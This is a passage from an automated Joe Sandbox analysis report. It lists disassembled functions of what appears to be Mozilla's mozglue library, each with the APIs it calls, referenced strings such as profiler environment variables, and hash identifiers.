Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: f021421e23be9f3cbda8ad66750f3454263aee1549be5624a72ccccd237ca506
Instruction ID: 17913f13d63e30da15e159513f39a8967583a80f98758f1808ad34fac958d07f
Opcode Fuzzy Hash: f021421e23be9f3cbda8ad66750f3454263aee1549be5624a72ccccd237ca506
Instruction Fuzzy Hash: 1351D071A047418FD324DF29C894E1ABBF1EBC9319F168A2ED5A9C7B85D770E804CB91

Function 6C514630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C514721

Strings

profiler-paused, xrefs: 6C5146E4
-%llu, xrefs: 6C514733
., xrefs: 6C51476A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 1ecce1aeec349a9a5a376a49cc0e5f392e99b29ceff6840e93f07ff67ff4e284
Instruction ID: a11eb3bbb3881632ab1335cdefb025088493409edcf84cd175c54c0f01d3460e
Opcode Fuzzy Hash: 1ecce1aeec349a9a5a376a49cc0e5f392e99b29ceff6840e93f07ff67ff4e284
Instruction Fuzzy Hash: 09416671A086089BDB08DF78EC5555EBBF5EF85348F108A3DE859ABB81EB3098058791

Function 6C539830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C53985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C53987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5398D9

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 4d95634a37c0d60ff702496cdbfb94b092b477bc1a50aafd0182445decf535af
Instruction ID: a513c122c14a341d3bb7a9d76ae16d675a0354204dc56cc1a66cc68df02b30a3
Opcode Fuzzy Hash: 4d95634a37c0d60ff702496cdbfb94b092b477bc1a50aafd0182445decf535af
Instruction Fuzzy Hash: 6831F475B00108AFDB14EF59DC44DEFB7A9DF84318F40802DEA2A9BB40DB7159058BE1

Function 6C5146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C514721

Part of subcall function 6C4C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C503EBD,00000017,?,00000000,?,6C503EBD,?,?,6C4C42D2), ref: 6C4C4444

Strings

profiler-paused, xrefs: 6C5146E4
-%llu, xrefs: 6C514733
., xrefs: 6C51476A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 5b737152c4c981cc91b7d5f09702e2074211ad931838eb5bf300984ad4da7d78
Instruction ID: a80e4e9bf9b3fa91b30cc7b590627f49ae118418833c5e0c148a306ad425a8d3
Opcode Fuzzy Hash: 5b737152c4c981cc91b7d5f09702e2074211ad931838eb5bf300984ad4da7d78
Instruction Fuzzy Hash: 3E317C71F042185BDB0CCF6CDC9569EBBE6DBC8318F15853DE8059BB41EB7098058B90

Function 6C51B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C503EBD,6C503EBD,00000000), ref: 6C4C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C51B127), ref: 6C51B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C51B4E4

Strings

pid:, xrefs: 6C51B4DE

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 56a563e0dd3284e4a84419bfc5337984ec915b16249db596801edc138629da3c
Instruction ID: ad536a17be6b41d7a7a884d2a9947a93ecfb4f5a92636d8a6eb5739cf1c4b9d7
Opcode Fuzzy Hash: 56a563e0dd3284e4a84419bfc5337984ec915b16249db596801edc138629da3c
Instruction Fuzzy Hash: 523125B1A05204CBEB00EFAADC84AAEB7B6FF45308F14452DD801A7F41E771A845CBE1

Function 6C4DBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C527A3F), ref: 6C4DBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C527A3F), ref: 6C4DBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C527A3F), ref: 6C4DBF7E

Strings

Sl, xrefs: 6C4DBF84

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Sl
API String ID: 4279176481-1106240752
Opcode ID: 50c8afc634a215024f1fc20af355711698ac859446aad5b9de66be42d438f703
Instruction ID: 03125eb0af3a4ff2f5cc5fcd862784f299334c4592493b34ecc46744fed239d3
Opcode Fuzzy Hash: 50c8afc634a215024f1fc20af355711698ac859446aad5b9de66be42d438f703
Instruction Fuzzy Hash: 1911B2792006148FC725DF1CDA99A2AFBF8FB59308315889DE98A8B751D771BC00CB94

Function 6C50E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50E577
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50E584
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C50E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C50E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C50E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C50E826, 6C50E850
MOZ_PROFILER_STARTUP, xrefs: 6C50E5A1, 6C50E5CC, 6C50E5FF, 6C50E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C50E722, 6C50E750, 6C50E7A2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f33b9df1595d066de4cafadbc2b2ff01d08d9d72de945885e29bd4112d305f02
Instruction ID: 81f8f68ec5c37c7b490bd46f7b274d4061002007a7d239c1ca6ba714ab363bad
Opcode Fuzzy Hash: f33b9df1595d066de4cafadbc2b2ff01d08d9d72de945885e29bd4112d305f02
Instruction Fuzzy Hash: FF118E31604654DFCB00AF18CC49A5ABBB4FBC932CF568619E89587650DBB0A805CBD9

Function 6C510C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C510CD5

Part of subcall function 6C4FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C4FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C510D40
free.MOZGLUE ref: 6C510DCB

Part of subcall function 6C4E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
Part of subcall function 6C4E5E90: memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
Part of subcall function 6C4E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2

free.MOZGLUE ref: 6C510DDD
free.MOZGLUE ref: 6C510DF2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 69e9a221aa8524e471f6e46d4f4ec66ca6ed64e0db48204db0a9aef4f20d39c2
Instruction ID: 0c3e79be08e86128b8a3adb83da67e7dbb3498e354e34e60dd8a321ff8692243
Opcode Fuzzy Hash: 69e9a221aa8524e471f6e46d4f4ec66ca6ed64e0db48204db0a9aef4f20d39c2
Instruction Fuzzy Hash: 8C41277191D7908BE720CF29C48479AFBE5BFC9714F118A2EE8D887B50D7709855CB82

Function 6C500800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E7DC), ref: 6C500838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C50084C
EnterCriticalSection.KERNEL32(?), ref: 6C5008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5008BD
LeaveCriticalSection.KERNEL32(6C54E7DC), ref: 6C5008D5

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: cac679dd00197a1bef552499b0f555a7187fa9c6612d68cf849ccf1bb410ce26
Instruction ID: f58d38ddd713f33c9f8292879aa9b5fcda84e3c0c32e446dac0cb6bc18080182
Opcode Fuzzy Hash: cac679dd00197a1bef552499b0f555a7187fa9c6612d68cf849ccf1bb410ce26
Instruction Fuzzy Hash: CF21D031B012498BEB04EF65DC48FAEB7B9BFC5708F504529D909E7A00DB71A8048BD4

Function 6C51CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51CDA4

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

Part of subcall function 6C51D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C51CDBA,00100000,?,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51D158
Part of subcall function 6C51D130: InitializeConditionVariable.KERNEL32(00000098,?,6C51CDBA,00100000,?,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51CDC4

Part of subcall function 6C517480: ReleaseSRWLockExclusive.KERNEL32(?,6C5215FC,?,?,?,?,6C5215FC,?), ref: 6C5174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51CECC

Part of subcall function 6C4DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4DCAA2

Part of subcall function 6C50CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C51CEEA,?,?,?,?,00000000,?,6C50DA31,00100000,?,?,00000000), ref: 6C50CB57
Part of subcall function 6C50CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C50CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C51CEEA,?,?), ref: 6C50CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C50DA31,00100000,?,?,00000000,?), ref: 6C51D058

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2d21cd7d4c1652331183f022eef1567dd475f100313ff1374b8ebcd631b8969a
Instruction ID: 073b7a05f82a9726ca89e4826b7df3fe2707849648d7165c9965a028ee4945b5
Opcode Fuzzy Hash: 2d21cd7d4c1652331183f022eef1567dd475f100313ff1374b8ebcd631b8969a
Instruction Fuzzy Hash: 0ED16071A04B469FD708DF28C884B99F7E1BF89304F01866DD85987B51EB31B965CBC1

Function 6C4D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4D18EE
free.MOZGLUE(?), ref: 6C4D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4D194C

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 0c2101b83cb774fad85229cb9b503c4c7b65af5ca1b7be7be48642f2af595b99
Instruction ID: 14959fd244517a46f5ba5df9c6f8a2079e5cc40caf5b05bfd7e057b4a9fa4d81
Opcode Fuzzy Hash: 0c2101b83cb774fad85229cb9b503c4c7b65af5ca1b7be7be48642f2af595b99
Instruction Fuzzy Hash: 9381C070E102059FCB08DF68D8A4DAEBBB1FF89324F05456DE815AB750D730E845CBA2

Function 6C4E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4E5D40
EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4E5D67
__aulldiv.LIBCMT ref: 6C4E5DB4
LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4E5DED

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 78559c93c28ccac96a38122764371835343ceb05112aac0590169c4e195395c0
Instruction ID: 64c233df9dbff64a5446ac7d92b0b49fb56a481ae97b4307f3875062f4017bce
Opcode Fuzzy Hash: 78559c93c28ccac96a38122764371835343ceb05112aac0590169c4e195395c0
Instruction Fuzzy Hash: 57514C71E001298FDF08DFACC854EAEBBB2FB89319F2AC619D815A7750C7706945CB94

Function 6C4CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4CCF4E

Strings

0, xrefs: 6C4CCF30

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: fd1804b730755c4ac5ab90007569e083df1e5d70df05fe4e6119ee775addd1b1
Instruction ID: a6912d96475ee50458ecee72ee79c9bd10fe4abb09c170ad5b29333ed66df7bd
Opcode Fuzzy Hash: fd1804b730755c4ac5ab90007569e083df1e5d70df05fe4e6119ee775addd1b1
Instruction Fuzzy Hash: A551F375A002168FCB00CF18C890EAABBA5EF99304F19859DD8595F391D771AD06CBE0

Function 6C5277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C527829

Part of subcall function 6C4FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4C31A7), ref: 6C4FCC45
Part of subcall function 6C4FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4C31A7), ref: 6C4FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C52789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5278CF

Part of subcall function 6C4C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4C4E5A
Part of subcall function 6C4C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4C4E97

Part of subcall function 6C4C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C503EBD,6C503EBD,00000000), ref: 6C4C42A9

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: deaf244144a08bd2ace9fc01688bbf606c62702d0f301e6db279e1c7786f3878
Instruction ID: 969bf2917cf982650618789e68af8ce4cf2cad52449db266ef7d850f284d4afa
Opcode Fuzzy Hash: deaf244144a08bd2ace9fc01688bbf606c62702d0f301e6db279e1c7786f3878
Instruction Fuzzy Hash: DE41A0719047469BD300DF29D88096AFBF4FFCA354F204A1DE4A987690EB70D559CBD2

Function 6C506470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5082BC,?,?), ref: 6C50649B

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5064A9

Part of subcall function 6C4FFA80: GetCurrentThreadId.KERNEL32 ref: 6C4FFA8D
Part of subcall function 6C4FFA80: AcquireSRWLockExclusive.KERNEL32(6C54F448), ref: 6C4FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50653F
free.MOZGLUE(?), ref: 6C50655A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3abb74ece652e525bfa6520d2f9ccab1e5bc10bd98670366e5874f70427cec9d
Instruction ID: 109b5389f882f7eef4783fa1562fe54fac3836cd3a36b9304127a913990ae4af
Opcode Fuzzy Hash: 3abb74ece652e525bfa6520d2f9ccab1e5bc10bd98670366e5874f70427cec9d
Instruction Fuzzy Hash: 1F3170B5A043159FD700DF14D884A9BB7E4BF89318F41442EEC5A87741EB30E919CB92

Function 6C4FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C51D019,?,?,?,?,?,00000000,?,6C50DA31,00100000,?), ref: 6C4FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C51D019,?,?,?,?,?,00000000,?,6C50DA31,00100000,?,?), ref: 6C4FFFF5
free.MOZGLUE(?,?,?,?,?,6C51D019,?,?,?,?,?,00000000,?,6C50DA31,00100000,?), ref: 6C50001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C51D019,?,?,?,?,?,00000000,?,6C50DA31,00100000,?,?), ref: 6C50002A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
